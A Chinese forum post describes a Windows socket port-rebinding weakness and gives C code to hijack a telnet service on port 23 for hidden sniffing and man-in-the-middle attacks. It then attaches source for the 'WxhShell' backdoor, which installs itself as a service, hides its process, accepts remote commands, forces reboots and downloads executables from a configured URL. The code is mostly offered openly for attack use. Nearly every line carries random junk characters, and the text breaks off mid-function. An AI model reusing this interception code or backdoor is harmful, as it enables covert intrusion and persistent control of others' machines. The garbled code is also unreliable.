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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V rd16s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q, "8Ty  
pr1bsrMuL  
  saddr.sin_family = AF_INET; )pe17T1|  
LE)$_i8gX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Kn@j D;  
dz>Jl},`k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X 5X D1[  
H:9G/Nev  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S{v]B_N[M  
RnU7|p{  
  这意味着什么?意味着可以进行如下的攻击: o2hk!#5[4  
[clwmx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A|]#b?-  
'x<oILOG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2`%a[t@M.  
hg:$H9\%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eX lJ=S}  
*W^a<Zm8>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g HkHAOe/  
?Bl/bY$*h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H'7s`^- >I  
B[6k [Vs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @HSK[[?  
;<;~;od*/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '\+"3!$  
Wv9L }@J  
  #include  ^u#iz  
  #include ~'0ZW<X.  
  #include ?E(X>tH  
  #include    !f&hVLs0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `u7^r^>A  
  int main() _ WPt zL  
  { $uJc/  
  WORD wVersionRequested; $duT'G, -  
  DWORD ret; .Pte}pM"v  
  WSADATA wsaData; 6w(r}yO]  
  BOOL val; En#Q p3  
  SOCKADDR_IN saddr; ~IWdFUKk  
  SOCKADDR_IN scaddr; 'ey62-^r6  
  int err; #B6f{D[pI  
  SOCKET s; #`f{\  
  SOCKET sc; ~b!la  
  int caddsize; tJn"$A ^N  
  HANDLE mt; [~RO9=;L  
  DWORD tid;   _uL[ Z  
  wVersionRequested = MAKEWORD( 2, 2 ); FC6~V6R  
  err = WSAStartup( wVersionRequested, &wsaData ); XJKns  
  if ( err != 0 ) { V82I%gPF  
  printf("error!WSAStartup failed!\n"); R".$x{{  
  return -1; dLF*'JjY  
  } cDzb}W*UM  
  saddr.sin_family = AF_INET; }<@-=  
   *}';q`u }  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z*q+5p@~  
Iz'Et'w8!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sKsMF:|OT  
  saddr.sin_port = htons(23); @iXBy:@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) } XhL`%  
  { ?*yB&(a:8  
  printf("error!socket failed!\n"); x Gbq,~_r  
  return -1; ^,t@HN;gA  
  } 6 >;OVX  
  val = TRUE; 0!KYi_3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MEJX5qG6m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %.]#3tW  
  { tg==Qgz  
  printf("error!setsockopt failed!\n"); *5*#Z~dut8  
  return -1; fA?v\'Qq/  
  } rFkZ'rp74b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $pAVTz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `?WN*__["  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k~K;r8D/  
S:`Gi>D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ($/l_F  
  { sQ^t8Y 9  
  ret=GetLastError(); XEagN:  
  printf("error!bind failed!\n"); x- ue1  
  return -1; jpS$5Ct  
  } :8@eon}  
  listen(s,2); j (Q# NFT7  
  while(1) OI"g-+~  
  { H_t0$x(\  
  caddsize = sizeof(scaddr); vr{|ubG]d  
  //接受连接请求 _j3rs97@|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #Ha"rr46p  
  if(sc!=INVALID_SOCKET)  bKK'U4  
  { %eW7AO>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5/i/. 0?n  
  if(mt==NULL) 0bc>yZ\R  
  { ~Dz:n]Vk/  
  printf("Thread Creat Failed!\n"); }o7-3!{L!  
  break; /]j{P4  
  } gPc1oc(  
  } :4Nv6X61  
  CloseHandle(mt); p8@8b "  
  } <uJ {>~  
  closesocket(s); -u<F>C  
  WSACleanup(); r79 P|)\  
  return 0; "aI)LlyCY  
  }   i>[xN[U(  
  DWORD WINAPI ClientThread(LPVOID lpParam) :A!EjIL`#  
  { ~<O.Gu&"R  
  SOCKET ss = (SOCKET)lpParam; m.`I}  
  SOCKET sc; y6-P6T  
  unsigned char buf[4096]; K5T1dBl,0  
  SOCKADDR_IN saddr; X=Ar"Dx}}s  
  long num; '[%Pdd]! E  
  DWORD val; EW vhT]<0  
  DWORD ret; \}u/0UF97  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UF6U5],`u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y3FFi M[s~  
  saddr.sin_family = AF_INET; T}1"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V9}\0joM  
  saddr.sin_port = htons(23); eq8faC5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fp\mBei  
  { YQFz6#Ew  
  printf("error!socket failed!\n"); O-)[!8r  
  return -1; =_iYT044p  
  } QRKP;aYt  
  val = 100; E<u(Yw6=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }fkdv6mz  
  { z"\w9 @W  
  ret = GetLastError(); ^c(r4#}$"  
  return -1; Qbjm,>H/^  
  } 1y6<gptx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) htL1aQ.  
  { hEZo{0:b"  
  ret = GetLastError(); 9I [:#,zdf  
  return -1; 2Q]W  
  } `$FX%p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eFS$;3FP1  
  { He4HI Z  
  printf("error!socket connect failed!\n"); 0-{E% k  
  closesocket(sc); $ kHXt]fU  
  closesocket(ss); 7t#Q8u?  
  return -1; V#.pi zb  
  } 4guR8 elM  
  while(1) k:j_:C&.  
  { pM+9K:^B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 66 R=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mbX'*up  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iRkUL]H@&  
  num = recv(ss,buf,4096,0); A-3^~aEgx  
  if(num>0) J(!=Dno  
  send(sc,buf,num,0); 7A'E+>1d  
  else if(num==0) x\~ <8o  
  break; QJVB:>A  
  num = recv(sc,buf,4096,0); oMLs22Do?  
  if(num>0) p^q/u  
  send(ss,buf,num,0); +cYDz#3%  
  else if(num==0) YU+P+m2X  
  break; N#RC;  
  } 1,$"'lKwt  
  closesocket(ss); a'Odw2Q_  
  closesocket(sc); : OjmaP  
  return 0 ; )6X-m9.X  
  } WjR2:kT  
TB&IB:4)R  
cfv: Ld m  
========================================================== ~8(Xn2  
jVOq/o  
下边附上一个代码,,WXhSHELL ?f3R+4  
ntPj9#lf  
========================================================== +$VDV4l  
u {\>iQ   
#include "stdafx.h" P2`F" Qsq  
(;05=DsO  
#include <stdio.h> ik)u/r DW  
#include <string.h> [N~-9  
#include <windows.h> YqWNp  
#include <winsock2.h> :BV$3]y  
#include <winsvc.h> nVgvn2N/  
#include <urlmon.h> SDSP4W5  
tq~f9EvC  
#pragma comment (lib, "Ws2_32.lib") LY)Wwl*wc  
#pragma comment (lib, "urlmon.lib") S *J{  
Wtk|}>Pf  
#define MAX_USER   100 // 最大客户端连接数 %(6+{'j~#  
#define BUF_SOCK   200 // sock buffer W)]&G}U<  
#define KEY_BUFF   255 // 输入 buffer :%Iv<d<  
J"GsdLG.-  
#define REBOOT     0   // 重启 qLxcr/fK  
#define SHUTDOWN   1   // 关机 tl*v(ZW  
T|h!06   
#define DEF_PORT   5000 // 监听端口 -}sMOy`  
XY9%aT*  
#define REG_LEN     16   // 注册表键长度 $0P16ZlPC  
#define SVC_LEN     80   // NT服务名长度 NX(+%EBcA  
%x@bP6d[  
// 从dll定义API o+ {i26%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '~f*O0_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zd- *UF i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qB K68B)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2G5|J{4w  
Evg#sPu\  
// wxhshell配置信息 KVEc:<|x  
struct WSCFG { {g1R?W\LZ  
  int ws_port;         // 监听端口 :(/1,]bF  
  char ws_passstr[REG_LEN]; // 口令 EXH,+3fQp  
  int ws_autoins;       // 安装标记, 1=yes 0=no AB+lM;_>  
  char ws_regname[REG_LEN]; // 注册表键名 >$CNR*}@  
  char ws_svcname[REG_LEN]; // 服务名 lH/" 47  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [N%InsA9k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =MM+(mD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j"TEp$x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W=+AU!%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F=*t]X[z}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;ZcwgsxTM  
4L`,G:J,;  
}; :2NV;7Wke6  
[)8O\/:  
// default Wxhshell configuration 5?Q5cD2]\6  
struct WSCFG wscfg={DEF_PORT, UA6 C/  
    "xuhuanlingzhe", 'x? |tKzd  
    1, 8dt=@pwx&  
    "Wxhshell", mRyf+O[  
    "Wxhshell", +jq@!P"}d  
            "WxhShell Service", =^*EM<WG)  
    "Wrsky Windows CmdShell Service", ?y>v"1+  
    "Please Input Your Password: ", a Iyzt  
  1, -AVT+RE9z  
  "http://www.wrsky.com/wxhshell.exe", )>Z@')Uk:  
  "Wxhshell.exe" Mg8ciV}\xY  
    }; ~p{YuW[e  
SJLs3iz_)  
// 消息定义模块 "W4|}plnu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yh"9,Z&wiR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u6Ux nqNc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #wvGS%  
char *msg_ws_ext="\n\rExit."; 7J$rA.tu  
char *msg_ws_end="\n\rQuit."; ;Z"Iv  
char *msg_ws_boot="\n\rReboot..."; iGj,B =35  
char *msg_ws_poff="\n\rShutdown..."; + >:}   
char *msg_ws_down="\n\rSave to "; v1}ijls  
@raJB'  
char *msg_ws_err="\n\rErr!"; ~+BU@PHv  
char *msg_ws_ok="\n\rOK!"; 'h~IbP  
l9+CJAmq  
char ExeFile[MAX_PATH];  >}]bKq  
int nUser = 0; .v+J@Y a  
HANDLE handles[MAX_USER]; aWLA6A+C&  
int OsIsNt; (8o;Cm  
.9g :-hv  
SERVICE_STATUS       serviceStatus; k`[>B k%b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P$AHw;n[R  
}waZGJLN  
// 函数声明 <.BY=z=H  
int Install(void); `2V{]F  
int Uninstall(void); t)k;5B`> &  
int DownloadFile(char *sURL, SOCKET wsh); egfd=z=2un  
int Boot(int flag); 4 PU@W o  
void HideProc(void); D0S^Msk9L  
int GetOsVer(void); ~WV1t][  
int Wxhshell(SOCKET wsl); k@n L(2  
void TalkWithClient(void *cs); P&Xy6@%[Z  
int CmdShell(SOCKET sock); DSp~k)  
int StartFromService(void); :c )R6=v  
int StartWxhshell(LPSTR lpCmdLine); UaQW<6+  
z1tCSt}7f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^n4aoj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wu{%gtx/;^  
xZV|QVY;  
// 数据结构和表定义 b!"qbC1  
SERVICE_TABLE_ENTRY DispatchTable[] = +[S<"}ls7  
{ #Ak9f-pf  
{wscfg.ws_svcname, NTServiceMain}, 9nlj{(  
{NULL, NULL} G2c\"[N1/  
}; L-q)48+^k  
hA&m G33  
// 自我安装 n36@&q+B&  
int Install(void) tLdQO"  
{ NP~3!b  
  char svExeFile[MAX_PATH]; ^$oEM0h  
  HKEY key; Xfg?\j/  
  strcpy(svExeFile,ExeFile); ^y|`\oyqwN  
=ty{ugM<  
// 如果是win9x系统,修改注册表设为自启动 Ln\Gv/)  
if(!OsIsNt) { OMYbCy^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SST@   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q="ymx~  
  RegCloseKey(key); K3rsew n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +f_3JL$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SEZ08:>x r  
  RegCloseKey(key); =3 ;! 5P  
  return 0; XwU1CejP0  
    } R-f('[u  
  } 8N#.@\'kz.  
} "oR%0pU*  
else { jcxeXp|00  
su8()]|0x  
// 如果是NT以上系统,安装为系统服务 [e:ccm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [,z>msEB.  
if (schSCManager!=0) 6-{wo)p  
{ {;JFoe+  
  SC_HANDLE schService = CreateService ah!RQ2hDrV  
  ( 2&o3OKt  
  schSCManager, jgYe\dinM  
  wscfg.ws_svcname, YB]^Y^"e  
  wscfg.ws_svcdisp, {qSYe!`  
  SERVICE_ALL_ACCESS,  {qH+S/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k)9 pkPl  
  SERVICE_AUTO_START, T^Xum2Ec  
  SERVICE_ERROR_NORMAL, o1 &Oug  
  svExeFile, c&SSf_0O*  
  NULL, U\YzE.G1]S  
  NULL, g9=O<u#  
  NULL, N\hHu6  
  NULL, h>|IA@;|f  
  NULL P>*`<$FR  
  ); `DP4u\6_  
  if (schService!=0) {E1^Wn1M  
  { dJ{'b '#  
  CloseServiceHandle(schService); <Lq.J`|+  
  CloseServiceHandle(schSCManager); 9\6ZdnEKu,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f kdJgK  
  strcat(svExeFile,wscfg.ws_svcname); %b ^.Gw\L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xw1n;IO4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U,~Z2L  
  RegCloseKey(key); sbFA{l3   
  return 0; Reg%ah|$/=  
    } R&L^+?  
  } ,L(q/#p  
  CloseServiceHandle(schSCManager); +C=^,B!,  
} 1-pxM~Y  
} tW3Nry  
o{K#LP  
return 1; 1tCe#*|95  
} <r8s= <:  
~_4$|WKl  
// 自我卸载 `g(r.`t^  
int Uninstall(void) Ar[$%  
{ l;;"v) C8  
  HKEY key; r@H7J 5<Y-  
cbX  <  
if(!OsIsNt) { KMV&c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j"P}Wn  
  RegDeleteValue(key,wscfg.ws_regname); 4Mj cx.21  
  RegCloseKey(key); p+{*&Hm5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hKQg:30<  
  RegDeleteValue(key,wscfg.ws_regname); *Cx3bg*Gan  
  RegCloseKey(key); tWI4x3 &2  
  return 0; 9,A HC2kn%  
  } 8lT2qqlr  
} *W1:AGpz  
} e5m-7{h@  
else { d@<~u,Mt&F  
CDRz3Hu U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h%%dRi  
if (schSCManager!=0) ^36m$J$  
{ 0BHSeO,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]}N&I_mU  
  if (schService!=0) uJt*> ;Kp  
  { .!h`(>+@  
  if(DeleteService(schService)!=0) { "@+r|x  
  CloseServiceHandle(schService); `bRt_XGPmF  
  CloseServiceHandle(schSCManager); os`#:Ao5  
  return 0; >l0D,-O]m  
  } fBt`D !Z8  
  CloseServiceHandle(schService); @:G#[>nKe  
  } L]Dl}z  
  CloseServiceHandle(schSCManager); 7T9Mo .  
}  *4{GI D  
} |),3`*N  
pU5t,  
return 1; /m+\oZ ]d  
} WB>M7MI%  
^CQVqa${]  
// 从指定url下载文件 c *]6>50  
int DownloadFile(char *sURL, SOCKET wsh) sT%^W  
{ oi/bp#(fa  
  HRESULT hr; D7(kkr:r  
char seps[]= "/"; Kx5VR4f`J@  
char *token; PLDp=T%  
char *file; sRf?JyB  
char myURL[MAX_PATH]; VA@t8H,  
char myFILE[MAX_PATH]; YWUCrnr  
s*.&DN  
strcpy(myURL,sURL); }SF<. A  
  token=strtok(myURL,seps); c/ABBvd|  
  while(token!=NULL) !$^LTBOH3  
  { :=^_N}  
    file=token; VT`C<'   
  token=strtok(NULL,seps); 9~C$C  
  } :7Smsc"B!  
94xRKQ}  
GetCurrentDirectory(MAX_PATH,myFILE); b'5L|1d  
strcat(myFILE, "\\"); q8e34Ly7  
strcat(myFILE, file); CLX!qw]@ +  
  send(wsh,myFILE,strlen(myFILE),0); >ay% !X@3"  
send(wsh,"...",3,0); K\vyfYi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b#z{["%Zp  
  if(hr==S_OK) M?zwXmTVW0  
return 0; ]W>kbH Imz  
else 9 54O=9PQ  
return 1; u'Ua ++a\  
/qX=rlQ/n  
} kc&MO`2 W\  
xHY#"   
// 系统电源模块 1 n<7YO7}  
int Boot(int flag) OKp0@A)8  
{ nq"U`z@R  
  HANDLE hToken; 2YL)" w  
  TOKEN_PRIVILEGES tkp; ;wvhe;!  
d~-C r-s4  
  if(OsIsNt) { Vy giR|f-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kw Iw=8q~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?3{:[*  
    tkp.PrivilegeCount = 1; ] M#OS$_O@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j* \gD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )kiC/Y}k  
if(flag==REBOOT) { V]$J&aD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &>&UqWL  
  return 0; D 4fHNk)kZ  
} 8KrqJN0\  
else { ekx~svcC&A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \9}RAr#2]N  
  return 0; i[d@qp!H=  
} F 7~T=X)1  
  } BLs kUrPF  
  else { @z!|HLD+  
if(flag==REBOOT) { :CJ]^v   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x^ruPiH  
  return 0; b _#r_`  
}  !xz0zT.  
else { ]NrA2i?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b^~"4fU  
  return 0; R8U?s/*  
} ?UGA-^E1  
} Anu`F%OzB  
Vo2{aK;  
return 1; o2C{V1nB  
} / .ddx<  
/) Pf ]  
// win9x进程隐藏模块 .0b$mSV[  
void HideProc(void) .7|kxJq  
{ <:rbK9MIl  
!b0ANIp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U)n+j}vi  
  if ( hKernel != NULL ) O*8 .kqlgt  
  { `Z 3p( G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XpLK0YI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r#xq 8H=_m  
    FreeLibrary(hKernel); T3W?-,  
  } Jbrjt/OG#I  
\<bar ~  
return; g]hTz)8fF  
} Vk>m/"  
XDWR ]  
// 获取操作系统版本 fi6i{(K  
int GetOsVer(void) O_u2V'jy9  
{ y@'m D*z  
  OSVERSIONINFO winfo; G2A^+R0\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5#|f:M]Bo|  
  GetVersionEx(&winfo); ]N\J~Gm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -9Ll'fbq  
  return 1; #@#/M)  
  else EqV]/0-\  
  return 0; v7ShXX:  
} OcBK n=8  
|H LU5=Y  
// 客户端句柄模块 xKl!{A9$w  
int Wxhshell(SOCKET wsl) YF]W<ZpY  
{ #BK3CD(&  
  SOCKET wsh; 2Bf]#l{z  
  struct sockaddr_in client; GjmPpKIu\  
  DWORD myID; $T)EJe  
rk$$gXg9/  
  while(nUser<MAX_USER) z ]@ Q  
{ bh9!OqK9K  
  int nSize=sizeof(client); Ch~2w)HAA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0KQDw  
  if(wsh==INVALID_SOCKET) return 1; 8hK\Ya:mP  
e95x,|.-_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ># {,(8\  
if(handles[nUser]==0) &ZmHR^Flz  
  closesocket(wsh); 91 ]"D;NN  
else V@QWJZ"  
  nUser++; 0\N n.x%  
  } TbY <(wrMZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ac-R q.GQY  
 m,,FNYW  
  return 0; YhVV~bvz*  
} VOj{&O2c  
'D B4po.   
// 关闭 socket Xlw8> .\  
void CloseIt(SOCKET wsh) 6WN1D W  
{ /n9yv  
closesocket(wsh); km)5?  
nUser--; eq|G\XJ  
ExitThread(0); /ynvQ1#uA  
} >8pmClVvmR  
$<y10DfO  
// 客户端请求句柄 zPC&p{S>  
void TalkWithClient(void *cs) )@X `B d  
{ X/5\L.g2  
Z`?Z1SBt  
  SOCKET wsh=(SOCKET)cs; &_L FV@/  
  char pwd[SVC_LEN]; 5iG+O4n%  
  char cmd[KEY_BUFF]; Hq[vh7Lux  
char chr[1]; 'g4t !__  
int i,j; 1qR[& =/  
)<.BN p  
  while (nUser < MAX_USER) { M:!Twz$  
~F</ s.  
if(wscfg.ws_passstr) { 'pJ46"D@m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qMk"i@"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `qNhB\  
  //ZeroMemory(pwd,KEY_BUFF); Ux<2!vh  
      i=0; RY>BP[h  
  while(i<SVC_LEN) { (&=<UGY(w  
_;;'/rs j  
  // 设置超时 ?f\;z<e|  
  fd_set FdRead; Slk__eC  
  struct timeval TimeOut;  KKfC^g  
  FD_ZERO(&FdRead); E5#Dn.!~  
  FD_SET(wsh,&FdRead); -R~!N#y  
  TimeOut.tv_sec=8; `30og]F0YJ  
  TimeOut.tv_usec=0; V! sT2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K%XQdMv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9^;)~ G  
\Bg;^6U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ),G?f {`!  
  pwd=chr[0]; 5pOb;ry")`  
  if(chr[0]==0xd || chr[0]==0xa) { q,ry3Nr4n  
  pwd=0; k63]Qf=5?N  
  break; +w(sDH~kd  
  } 4QK~qAi  
  i++; 986y\9Zu  
    } "Y9PS_u(~  
}`O_  
  // 如果是非法用户,关闭 socket cGevFlnh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *r b/BZX{  
} x6, #Jp  
'8au j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qoNVp7uv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %s+H& vfQs  
l17sJ!I  
while(1) { dSD7(s!  
:YZqrcr}  
  ZeroMemory(cmd,KEY_BUFF); &a'H vQV  
O4Wn+$AN  
      // 自动支持客户端 telnet标准   VSK!Pc.G}  
  j=0; v<*ga7'S  
  while(j<KEY_BUFF) { 1eg/<4]hA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CXb-{|I}d  
  cmd[j]=chr[0]; -,M*j|   
  if(chr[0]==0xa || chr[0]==0xd) { xq?9w$  
  cmd[j]=0; _I("k:E7  
  break; 52*9q!  
  } EJdl%j  
  j++; #HMJBQ4v#  
    } X1 A~#w>  
9@nDXZP Y&  
  // 下载文件 QY]^^f  
  if(strstr(cmd,"http://")) { 'T(7EL3$}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !+& Rn\e%7  
  if(DownloadFile(cmd,wsh)) b(hnouS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WUVRwJ 5  
  else [d( @lbV0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZyJdz+L{@V  
  } Im NTk  
  else { -~nU&$ccL  
Hs%;uyI@$  
    switch(cmd[0]) { jTo-xP{lC  
  j%2l%Mx(  
  // 帮助 px@:t}  
  case '?': { q,#j *  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [D]9M"L,vQ  
    break; HFJna2B`  
  } ^)r^k8y'  
  // 安装 On[:]#  
  case 'i': { ~Rs_ep'+Q2  
    if(Install()) rf2+~B{$,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y7K&@ Y  
    else hAPWEh^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^8,Y1r9`$  
    break; K$S:V=y%r7  
    } 8Ol#-2>k$  
  // 卸载 SF$]{ X  
  case 'r': { - P;_j,~U  
    if(Uninstall()) -&PiD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *z2G(Uac  
    else bCM&Fe0GM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8hx4s(1!  
    break; bITc9Hqc  
    } N5 BC<pu  
  // 显示 wxhshell 所在路径 K~j&Q{yws@  
  case 'p': { 5dH}cXs  
    char svExeFile[MAX_PATH]; * u_ nu>  
    strcpy(svExeFile,"\n\r"); zJp}JO  
      strcat(svExeFile,ExeFile); R)>/P{ A-P  
        send(wsh,svExeFile,strlen(svExeFile),0); o80"ZU|=  
    break; M YQZqlV  
    } #Y*?k TF  
  // 重启  8>Y  
  case 'b': { -ZTe#@J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I~LN)hqdo  
    if(Boot(REBOOT)) P@ gVzx)M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a[<'%S#3x  
    else { XIM!]  
    closesocket(wsh); (x} >tm  
    ExitThread(0); L*k[Vc  
    } zEG6T*  
